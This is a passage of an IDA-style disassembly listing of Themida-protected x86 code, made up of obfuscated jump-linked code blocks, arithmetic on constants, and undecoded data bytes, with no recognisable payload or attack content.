		dd 6ACABF57h, 0CEB864F4h, 3164F46Ah, 44015FF8h,	59580424h
		dd 26CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_552B69:				; CODE XREF: Themida_:00563F26j
		add	ch, ah
		jmp	loc_565C5F
; ---------------------------------------------------------------------------


loc_552B70:				; CODE XREF: Themida_:00554BB0j
		push	ecx
		jmp	loc_566731
; ---------------------------------------------------------------------------


loc_552B76:				; CODE XREF: Themida_:0055C0B0j
		push	eax
		mov	eax, 0C494297h
		sub	eax, 6C585820h
		jmp	loc_56227B
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815D24h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		push	eax
		push	4B2445D4h
		jmp	loc_552582
; ---------------------------------------------------------------------------
		db 0B8h, 5Ah, 8
		dd 0CDE91D72h, 0D10000A5h, 0D6F746EEh, 0FF26E9h
		db 0
; ---------------------------------------------------------------------------


loc_552BB9:				; CODE XREF: Themida_:00554D35j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	5D1Bh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 328E6608h
		add	ecx, 0FFFFFFFFh
		push	edx
		mov	edx, 69E163E5h
		dec	edx
		xor	edx, 0AC248D6h
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_555C73
; ---------------------------------------------------------------------------


loc_552BF3:				; CODE XREF: Themida_:0055433Fj
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 706C138Ah
		neg	edi
		not	edi
		jmp	loc_565A12
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0C1h
		dd 0DDF708E5h, 4F88CD81h, 0C5817AD2h, 5A987734h, 895DEB31h
		dd 0D7295BDAh, 8124148Bh, 4C4h,	243C3300h, 33243C31h, 0E95C243Ch
		dd 0D177h
; ---------------------------------------------------------------------------


loc_552C38:				; CODE XREF: Themida_:0055AE6Ej
		mov	[esp], edx
		jmp	loc_557343
; ---------------------------------------------------------------------------


loc_552C40:				; CODE XREF: Themida_:0055ACCBj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5581FF
; ---------------------------------------------------------------------------
a1qSsz		db '1ï]陇',0
		align 4


loc_552C54:				; CODE XREF: Themida_:005555BAj
		push	ebp
		jmp	loc_5639D0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E3895358h, 4C381h, 0BEE90000h, 0B7000126h
		dd 80C7FEC7h, 0FD2838C7h, 3D1BE95Bh, 74FF0001h,	0D4E90424h
		dd 880000E5h, 4F22E9DEh, 0E9520000h, 3AF7h
; ---------------------------------------------------------------------------


loc_552C94:				; CODE XREF: Themida_:0055F1E9j
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 6
		jmp	loc_554D29
; ---------------------------------------------------------------------------
		dd 8BC68166h, 0DE016667h, 8BEE8166h, 241C8B67h,	0E904C483h
		dd 0F6ACh, 4C481h, 89530000h, 4C381E3h,	81000000h, 4C3h
		dd 241C8700h, 92B685Ch,	4890000h, 52585424h, 62BDBF57h
		dd 0B9BA3359h, 31335962h, 9A2D5FFAh, 0E94F9018h, 52D1h
; ---------------------------------------------------------------------------


loc_552CF4:				; CODE XREF: Themida_:0055AD66j
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	edx
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 0EC83E589h
		dd 24148904h, 0BC18E9h,	4C18100h, 52000000h, 0B55DE9h
		db 0
; ---------------------------------------------------------------------------


loc_552D29:				; CODE XREF: Themida_:00554141j
		sub	edx, 47E7005Ah
		add	edx, 0FEF4B3Dh
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55AEFE
; ---------------------------------------------------------------------------


loc_552D3E:				; CODE XREF: Themida_:00556CF3j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], ebp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	ebp


loc_552D56:				; CODE XREF: Themida_:005614EBj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55BBDB
; ---------------------------------------------------------------------------
		dw 6866h
		dd 896670B8h, 8BB62414h, 0E9E3B753h, 36D4h, 2C9DE95Eh
		dd 1580000h, 5BB53CDh, 12B9850h, 0CC3E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552D96:				; CODE XREF: Themida_:0055A8C9j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	6AADh
		mov	[esp], edi
		mov	edi, 4
		push	edi
		add	dword ptr [esp], 7C974268h
		pop	esi
		sub	esi, 7C974268h
		pop	edi
		mov	ebx, esi
		pop	esi
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55D432
; ---------------------------------------------------------------------------
		db 48h
		dd 325BBB53h, 0C3816F5Eh, 356D0EB7h, 4BF1C381h,	0D831ADC6h
		dd 8BC3295Bh, 0C4832404h, 97C38104h, 0E9238D75h, 3C04h
		dd 0BCE9505Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_552E23:				; CODE XREF: Themida_:0055BBF5j
		push	edx
		mov	edx, 1B751B9Bh
		xor	edx, 0DF5FDCB1h
		jmp	loc_564E1A
; ---------------------------------------------------------------------------


loc_552E34:				; CODE XREF: Themida_:00559629j
		pop	bx
		sub	cl, 6Bh
		shr	cl, 4
		xor	cl, 5Bh
		add	dh, cl
		pop	ecx
		mov	bh, dh
		pop	edx
		not	bh
		jmp	loc_561BCB
; ---------------------------------------------------------------------------


loc_552E4C:				; CODE XREF: Themida_:005565BCj
		push	eax
		push	edi
		push	eax
		mov	eax, 3E6109CFh
		mov	edi, eax
		pop	eax
		push	21B7h
		jmp	loc_552911
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 6804C483h, 0
		dd 5A241429h, 0C281EAD1h, 2093D20Dh, 815AD789h,	64042444h
		dd 0E970FE54h, 25E5h, 0E95EF301h, 13BB4h, 515EF229h, 0B92FCB68h
		dd 0CA295917h, 4B6CE9h,	54A96800h, 0C5E90000h, 0FF0000DEh
		dd 669D1C77h, 4116658h,	33E99C24h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552EBB:				; CODE XREF: Themida_:00565BAEj
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0C5815C24h, 4, 8904EC83h, 2B82404h, 1000000h, 0F405E9C5h
		dd 0EE290000h, 83242C8Bh, 34FF04C4h, 0F125E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552F0A:				; CODE XREF: Themida_:0055579Fj
		not	byte ptr [esp+1]
		pop	eax
		jmp	loc_55AF85
; ---------------------------------------------------------------------------
		dd 16EE815Dh, 0E992ECA2h, 0E42h, 15BDE31h, 24348BF0h, 4C481h
		dd 0A5E90000h, 81FFFFF2h, 4C4h,	8BD90900h, 0C483241Ch
		dd 0C6E98104h, 16E8935h, 0BD5559CAh, 351C2D14h,	6431ED81h
		dd 0F7556533h, 34FF2414h, 0C4835D24h, 0E8C58104h, 29CFE8C8h
		dd 2CABE9EAh, 4B80001h,	0E9000000h, 11370h, 79DA68h, 24348900h
		dd 591CBE66h, 4EEC166h,	61F68166h, 0B866502Ch, 0D664B28h
		dd 0C1667572h, 0D6605E8h, 0D660B59h, 35661724h,	966247Ch
		dd 24048BC6h, 616AE9h
		db 0
; ---------------------------------------------------------------------------


loc_552FB1:				; CODE XREF: Themida_:0055983Dj
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 3F980A26h
		dec	ecx
		add	ecx, 6CB0C53h
		shr	ecx, 2
		add	ecx, 55467984h
		add	ecx, 9920C0E2h
		jmp	loc_55B1CF
; ---------------------------------------------------------------------------


loc_552FD7:				; CODE XREF: Themida_:00561BBCj
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 125B242Bh
		jmp	loc_55B23D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8B24048Fh, 0FB012424h, 525B0303h, 2434FF54h,	0A209E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552FFE:				; CODE XREF: Themida_:0055C0DDj
		pop	ebp
		jmp	loc_553434
; ---------------------------------------------------------------------------
		dd 0A63A055Eh, 0C129960Eh, 0F2ACE958h, 0B32D0000h, 591DF926h
		dd 0E9240433h, 374h
; ---------------------------------------------------------------------------


loc_553020:				; CODE XREF: Themida_:00555C5Bj
		mov	edx, esi
		jmp	loc_5638F8
; ---------------------------------------------------------------------------


loc_553027:				; CODE XREF: Themida_:0055C615j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_558DD0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8300h, 54240C89h, 4C18159h,	81000000h, 4E9h
		dd 240C8700h, 8924248Bh, 82E92404h, 0FF0000B5h,	56592434h
		dd 0FFEBABE9h, 240C8BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5656E7
; ---------------------------------------------------------------------------


loc_553083:				; CODE XREF: Themida_:0055CAB7j
		push	edx
		mov	edx, 10C16974h
		inc	edx
		jmp	loc_56052A
; ---------------------------------------------------------------------------
		db 68h
		dd 27CDh, 0B8240489h, 3FBD56F5h, 0EDB95140h, 91158418h
		dd 5051D0F7h, 0E9815859h, 22612824h, 2786E981h,	81490605h
		dd 293497E9h, 6433E9BAh, 89580000h, 1D46E9FEh, 66580000h
		dd 30BE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5530D2:				; CODE XREF: Themida_:00566027j
		mov	ebp, [esp]
		push	edi
		jmp	loc_55DA02
; ---------------------------------------------------------------------------
aPs		db 'PéÎ)',0
		db 0
; ---------------------------------------------------------------------------


loc_5530E1:				; CODE XREF: Themida_:0055F52Cj
		mov	eax, 21B73E24h
		add	eax, ecx
		jmp	loc_55FF18
; ---------------------------------------------------------------------------
		db 5Ah,	30h, 0C3h
		dd 0FFC0B60Fh, 9EE98734h, 5800001Ch, 748FBD55h,	0F581444Ch
		dd 52170A84h, 0E95DEA01h, 0FB8Bh, 293B6405h, 0F4AFE97Ah
		dd 0C6810000h, 45CD2637h, 5EF3295Fh, 7140EB81h,	0C3816A99h
		dd 1E807595h, 0E5E7E95Fh, 822D0000h, 56119F3Bh,	9C0DB6BEh
		dd 0C3F68150h, 95C3E45h, 0FEB6E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55314E:				; CODE XREF: Themida_:00566525j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0EF93F7Fh
		add	esi, 0B90086C4h
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_5543A6
; ---------------------------------------------------------------------------


loc_553169:				; CODE XREF: Themida_:00565214j
		push	ebx
		pop	esi
		pop	ebx
		pop	ebx
		not	esi
		add	esi, 4FD8238Dh
		shl	esi, 5
		jmp	loc_563804
; ---------------------------------------------------------------------------


loc_55317D:				; CODE XREF: Themida_:00556A32j
		mov	edi, [esp]
		add	esp, 4
		push	4C2Fh
		jmp	loc_551F42
; ---------------------------------------------------------------------------


loc_553190:				; CODE XREF: Themida_:0055A7ACj
		pop	ebp
		push	eax
		jmp	loc_559530
; ---------------------------------------------------------------------------


loc_553197:				; CODE XREF: Themida_:0055E0EBj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_558B7B
; ---------------------------------------------------------------------------
		db 58h
		dd 815DE831h, 0B06E5BC2h, 0F7A6E97Bh, 4330000h,	24248B24h
		dd 0EFBA5257h, 0E9777760h, 7261h, 4997E581h, 0E5811EAFh
		dd 28013E93h, 73C9ED81h, 0C5812475h, 969C8EB6h,	10D7CE9h
		dd 24048F00h, 4BB53h, 5C010000h, 0FF5B0424h, 0DCE92434h
		dd 83000080h, 48904ECh,	24048B24h, 22368h, 240C8900h, 4EC81h
		dd 8F540000h, 0B8502404h, 27A4311Fh, 3007E9h, 80DCF600h
		dd 0EC80FFECh, 45EF80F1h, 38E9E728h, 900003Fh, 0E99C2404h
		dd 0FFFFE4B6h
; ---------------------------------------------------------------------------


loc_553238:				; CODE XREF: Themida_:00558441j
		pop	eax
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 2
		add	ecx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55D094
; ---------------------------------------------------------------------------
		dd 8BD8895Ch, 0B3E9241Ch
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55326F:				; CODE XREF: Themida_:0055B628j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	17B8h
		mov	[esp], edx
		jmp	loc_551CE4
; ---------------------------------------------------------------------------
aFs_		db 'Fé',27h,'_',0
		dw 2900h
		dd 4FC381C3h, 55560351h, 3894E9h, 2C77FF00h, 0FFE44DE9h
		dd 24248BFFh, 0E9243489h, 0C7D9h
; ---------------------------------------------------------------------------


loc_5532AC:				; CODE XREF: Themida_:0055A54Ej
		shl	esi, 3
		jmp	loc_552291
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C4h, 81D60100h, 4ECh, 8EF7E900h,	3ABE0000h
		dd 553FBB5Dh, 346B2ABDh, 0F5C58142h, 0F70AFD3Eh, 0FFD5E9D5h
		dd 0F0BF0000h, 0E917D825h, 0FFFFF1AFh
; ---------------------------------------------------------------------------


loc_5532EC:				; CODE XREF: Themida_:005579EBj
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_5599EF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9E682404h, 0E9000075h, 2390h, 0DFF33005h, 0B9C6819Fh
		dd 0E9710548h, 10C89h, 6EDF022Dh, 9EE9525Ch
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55331F:				; CODE XREF: Themida_:00556D14j
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		jmp	loc_558A7D
; ---------------------------------------------------------------------------


loc_55333B:				; CODE XREF: Themida_:0055E1ECj
		not	eax
		push	ebp
		mov	ebp, 0
		jmp	loc_55948B
; ---------------------------------------------------------------------------
		dd 0AD3CEE81h, 0F029D834h, 0F34BE9h
		db 0
; ---------------------------------------------------------------------------


loc_553355:				; CODE XREF: Themida_:00565A1Ej
		xor	edi, 494CE617h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_559003
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 2124248Bh, 0E9C15FF9h, 0FC00B00h, 53B784h, 40B46800h
		dd 1C890000h, 2434FF24h, 0E924048Bh, 0C585h, 33240431h
		dd 248B2404h, 48B6624h,	90E95224h, 83FFFFE7h, 0E4E9FFEDh
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5533AF:				; CODE XREF: Themida_:0055B799j
		shl	edx, 7
		jmp	loc_556016
; ---------------------------------------------------------------------------


loc_5533B7:				; CODE XREF: Themida_:005655E1j
		add	esi, 9F441F80h
		sub	ecx, esi
		pop	esi
		pop	eax
		add	ecx, edi
		add	[ecx], edx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5665B4
; ---------------------------------------------------------------------------
		dd 0F9B75366h, 81EDE9h,	48B86600h, 0C721663Ch, 81665866h
		dd 66509BC7h, 6866D7F7h, 29660000h, 5F66243Ch, 3E7C166h
		dd 0D585E9h, 4C48100h, 28000000h, 92EB80C3h, 81F4C380h
		dd 4ECh, 0DEE900h, 34FF0000h, 24048B24h, 51E38953h, 410BE9h
		dd 0B60F5C00h, 0E95455C8h, 2311h
; ---------------------------------------------------------------------------


loc_553434:				; CODE XREF: Themida_:00552FFFj
		mov	edi, ecx
		pop	ecx
		jmp	loc_553ED4
; ---------------------------------------------------------------------------


loc_55343C:				; CODE XREF: Themida_:00566005j
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 58273FBBh
		add	ebp, 277E5C41h
		xor	ebp, 72153B59h
		jmp	loc_55D406
; ---------------------------------------------------------------------------
		dw 0DF21h
		dd 0C1DFF75Bh, 9CE903E7h, 810000E9h, 4C1h, 240C8700h, 0FC90B5Ch
		dd 117084h, 64DD6800h, 8F540000h, 36E92404h
		db 12h,	1, 0
; ---------------------------------------------------------------------------


loc_553487:				; CODE XREF: Themida_:005589C2j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_552271
; ---------------------------------------------------------------------------


loc_5534A3:				; CODE XREF: Themida_:00564D40j
		mov	[esp], ecx
		push	eax
		push	1DAE64F9h
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, eax
		jmp	loc_55CFC8
; ---------------------------------------------------------------------------


loc_5534B9:				; CODE XREF: Themida_:005517B7j
		mov	bh, 6Fh
		add	bh, 0Fh
		add	ch, bh
		pop	ebx
		and	ch, 85h
		add	ch, 32h
		sub	bl, 23h
		sub	bl, ch
		add	bl, 23h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55E0D7
; ---------------------------------------------------------------------------


loc_5534DD:				; CODE XREF: Themida_:00554B76j
		sub	ecx, 289C500Bh
		jmp	loc_55636F
; ---------------------------------------------------------------------------


loc_5534E8:				; CODE XREF: Themida_:0055D95Aj
		mov	edi, ebx
		mov	edx, edi
		pop	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_559BF7
; ---------------------------------------------------------------------------
		dd 0B4240489h, 0E2885216h, 0B005E9h
		db 0
; ---------------------------------------------------------------------------


loc_553505:				; CODE XREF: Themida_:00555503j
		pop	eax
		jmp	loc_5625D1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 4C38304h, 5C241C87h, 0E924048Fh,	5E2Bh
		dd 8104C483h, 0A67333E9h, 57F9015Dh, 10DA5E9h, 24048100h
		dd 4, 4C7815Fh,	0E9000000h, 89FFh, 4C481h, 0E9810000h
		dd 4, 1112CE9h
		db 0
; ---------------------------------------------------------------------------


loc_553555:				; CODE XREF: Themida_:00565E84j
		add	ebp, ecx
		pop	ecx
		push	2CE3h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_553573:				; CODE XREF: Themida_:0056209Bj
		push	ebp
		mov	ebp, 2537537Fh
		or	ebp, 6FC03855h
		sub	ebp, 3741FC2Ch
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ebx, ecx
		jmp	loc_55C28F
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0EC83241Ch, 240C8904h, 3FF068h, 243C8900h
		dd 0DA019BBFh, 0BF575278h, 48093B0Ah, 535FFA89h, 1553FEBBh
		dd 3297E925h, 0EF880000h, 499CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5535CD:				; CODE XREF: Themida_:00556BDFj
		add	edi, 2ADB55ADh
		add	edi, ebx
		sub	edi, 2ADB55ADh
		jmp	loc_55E4EC
; ---------------------------------------------------------------------------
		dd 2E0C148h, 0ED5F8505h, 49E72D3Dh, 2E055143h, 138112Bh
		dd 66E958C1h, 0C1FFFFE6h, 0C18106E9h, 1, 4BF18149h, 0E92764D7h
		dd 0FFFFF3F6h
; ---------------------------------------------------------------------------


loc_553610:				; CODE XREF: Themida_:00558FA3j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55A2D4
; ---------------------------------------------------------------------------
		db 31h
		dd 31F231D0h, 0E9F231D6h, 0DBA5h, 5103E5C1h, 6F47BB53h
		dd 0F7435F4Ah, 878BE9DBh, 0BB530000h, 640970A1h, 8F61C381h
		dd 0DE899BF6h, 668CE9h,	14F75600h, 0C6815E24h, 416226B5h
		dd 348BF001h, 131AE924h, 75B60001h, 3925E9h
		db 0
; ---------------------------------------------------------------------------


loc_553671:				; CODE XREF: Themida_:005567B6j
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55D065
; ---------------------------------------------------------------------------


loc_553682:				; CODE XREF: Themida_:00554FF5j
		pop	ebx
		jmp	loc_56478D
; ---------------------------------------------------------------------------
		dd 1E94E981h, 0E9810F6Ah, 6362768Bh, 3978BF57h,	0F9296436h
		dd 0E9815E5Fh, 4, 497268h, 240C8900h, 42474FFh,	24048F59h
		dd 8924248Bh, 8BD242Ch,	0E935817Dh, 4E71h, 46EFC281h, 0EA8177CFh
		dd 1FB7FBEBh, 4245401h,	2434FF5Ah, 4C4835Eh, 26BF5755h
		dd 4F110B2Fh, 0D0DFC781h, 5D57EEF4h, 0EBBDE9h, 0C6815E00h
		dd 4, 0CF46E9h,	0FCF78100h, 8129F4C0h, 0BD2825C2h, 81FA0101h
		dd 0BD2825EAh, 0E9815F01h, 5BFE6021h, 73E9D129h, 68000066h
		dd 1EEAh, 87243489h, 0D5F7242Ch, 33242C31h, 3E9242Ch
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553737:				; CODE XREF: Themida_:0055C045j
		add	ebx, 46025912h
		push	eax
		mov	eax, 21986EADh
		neg	eax
		dec	eax
		sub	eax, 0DE679153h
		sub	ebx, 4A744668h
		jmp	loc_55E553
; ---------------------------------------------------------------------------


loc_553756:				; CODE XREF: Themida_:00562A46j
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ebp
		jmp	loc_558FA8
; ---------------------------------------------------------------------------
		db 83h
		dd 0AAE904C4h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55376B:				; CODE XREF: Themida_:0055D0F8j
		mov	ebp, 7C5DF386h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_560412
; ---------------------------------------------------------------------------
aLZSfk		db '‹$$‡,$\é”k',0
		align 4
		dd 0EB81C301h, 51AC3AE7h, 1899BF57h, 0BA522BE7h, 1FA00947h
		dd 12E9D301h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5537A7:				; CODE XREF: Themida_:005516EFj
		xor	al, bl
		push	ecx
		mov	ch, 1Dh
		shl	ch, 3
		push	small 0
		sub	[esp], ch
		mov	ch, [esp]
		jmp	loc_55F7BA
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 11DF6824h, 3C890000h, 81E78924h, 4C7h, 4BB5300h, 1000000h
		dd 0C6E95BDFh, 88000078h, 26D468F0h, 14890000h,	88C28824h
		dd 9399E9D3h, 0C1080000h, 0E9D9F658h, 57E3h
; ---------------------------------------------------------------------------


loc_5537FC:				; CODE XREF: Themida_:00557DD7j
		push	ebx
		mov	ebx, 25DB4CD9h
		shr	ebx, 6
		inc	ebx
		add	ebx, 0EF8224Bh
		push	ecx
		push	15BA0016h
		pop	ecx
		xor	ebx, ecx
		pop	ecx
		xor	edi, ebx
		pop	ebx
		push	5CF0h
		mov	[esp], eax
		mov	eax, edi
		push	edi
		mov	edi, eax
		mov	ecx, edi
		pop	edi
		pop	eax
		pop	edi
		push	ecx
		xchg	ebp, [esp]
		jmp	loc_557BEA
; ---------------------------------------------------------------------------
		dd 5F54575Bh, 4C781h, 0C7830000h, 0F49FE904h, 1CBB0000h
		dd 1356C10h, 0EDD15BDDh, 61D56852h, 15A64B4h, 0C5815AD5h
		dd 0C4F401F6h, 2C8BEA09h, 4C48324h, 0FFE8E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55386D:				; CODE XREF: Themida_:005603F0j
		add	edx, eax
		push	eax
		jmp	loc_559492
; ---------------------------------------------------------------------------
aZsL		db 'Zé',0Dh,'«',0
		dw 5000h
		dd 405E089h, 0E9000000h, 126DEh, 0A11D3D68h, 0D4B4E913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553892:				; CODE XREF: Themida_:00560F04j
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 0BC26CFh
		mov	ebp, ecx
		jmp	loc_55D623
; ---------------------------------------------------------------------------
		db 81h
		dd 6B3EADEAh, 0F5E95B08h, 890000A9h, 4C581E5h, 83000000h
		dd 2C3304EDh, 242C3124h, 8B242C33h, 3C892424h, 0A69BF24h
		dd 0E95363A1h, 1197Fh, 68D830ACh, 767h,	804AE9h, 240C8B00h
		dd 461968h, 24348900h, 0E951E689h, 0BB8Bh, 5C24048Fh, 24043166h
		dd 0DC94E99Ch, 34330000h, 0E9E95C24h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55390B:				; CODE XREF: Themida_:0055516Dj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56264D
; ---------------------------------------------------------------------------
aNsad		db '­é€d',0
		align 4
		dd 1CE368h, 240C8900h, 0FFEF8DE9h, 0E78147FFh, 1997F29h
		dd 145EC781h, 0F831156Eh, 81243C8Bh, 4C4h, 8D42E900h, 29590000h
		dd 37E955C3h
		db 34h,	1, 0
; ---------------------------------------------------------------------------


loc_553957:				; CODE XREF: Themida_:005528B9j
		push	dword ptr [esp]
		jmp	loc_558936
; ---------------------------------------------------------------------------


loc_55395F:				; CODE XREF: Themida_:005653C3j
		push	ebx
		jmp	loc_55CAE2
; ---------------------------------------------------------------------------
a3S		db ')ß[3<$é(Ñ',0
		align 10h


loc_553970:				; CODE XREF: Themida_:005640EBj
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	5823h
		mov	[esp], edx
		push	ebp
		jmp	loc_5601BB
; ---------------------------------------------------------------------------
		db 53h
		dd 610153BBh, 0E3814B0Fh, 7C2733Eh, 0F703E3C1h,	0D9CB81D3h
		dd 813F8059h, 0C2C312EBh, 0C9C78107h, 0E9320D4Bh, 0A785h
		dd 42474FFh, 56240C8Bh,	0AE0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5539CD:				; CODE XREF: Themida_:005547FBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	1Ch
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	edx, 2305F4Fh
		jmp	loc_566228
; ---------------------------------------------------------------------------
		dw 0FD87h
		dd 0E7C1EF87h, 60B95107h, 290641E0h, 0BE5659CFh, 6EB2A0Bh
		dd 3BCFCE81h, 0F681365Dh, 45CB6ACAh, 295EF029h,	6FFEE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553A32:				; CODE XREF: Themida_:0056484Aj
		push	esi
		mov	esi, 44710599h
		xor	edi, esi
		pop	esi
		push	edx
		push	ebp
		mov	ebp, 5EFE45BCh
		neg	ebp
		not	ebp
		jmp	loc_5646D2
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0C581EDD1h, 0EFAE110Fh, 32C0E9h, 2434FF00h, 2208E95Bh
		dd 0E9560001h, 624Eh, 5559CD01h, 42474FFh, 24048F5Dh, 0AECF805Ch
		dd 0C0CFEF80h, 0C78004EFh, 0EEA3E917h, 835D0000h, 0C13104C4h
		dd 59545158h, 0FFF288E9h, 240C8BFFh, 0D6D7E9h, 51D18700h
		dd 0E92414F7h, 0D60Ah
; ---------------------------------------------------------------------------


loc_553AA8:				; CODE XREF: Themida_:00563903j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5653E5
; ---------------------------------------------------------------------------
		dw 515Eh
		dd 1404E9h, 0C3815A00h,	48356C8Dh, 0EB81FB01h, 48356C8Dh
		dd 947EB81h, 665F1FA0h,	17E930FFh, 83FFFFDCh, 0D9E904ECh
		dd 0D20000CAh, 0E99C242Ch, 0FFFFDC06h, 0BE468h,	241C8900h
		dd 0DC68E389h, 89000005h, 14BE2434h, 81654915h,	90B7AF6h
		dd 8E6C151h, 0EE81D6F7h, 0BFE191FBh, 525EF301h,	4BAh, 5AD30100h
		dd 5C241C87h, 1A9868h, 24048900h, 582434FFh, 626968h, 24048900h
		dd 0EC81E089h, 4, 0B9240C89h, 7D147AA0h, 0AB96E956h, 4580000h
		dd 9BD3E9BEh, 805A0000h, 0CC2899E9h, 35AEE9h, 24148900h
		dd 978AE9h
		db 0
; ---------------------------------------------------------------------------


loc_553B65:				; CODE XREF: Themida_:00554524j
		add	eax, 67D81E7Dh
		sub	eax, edi
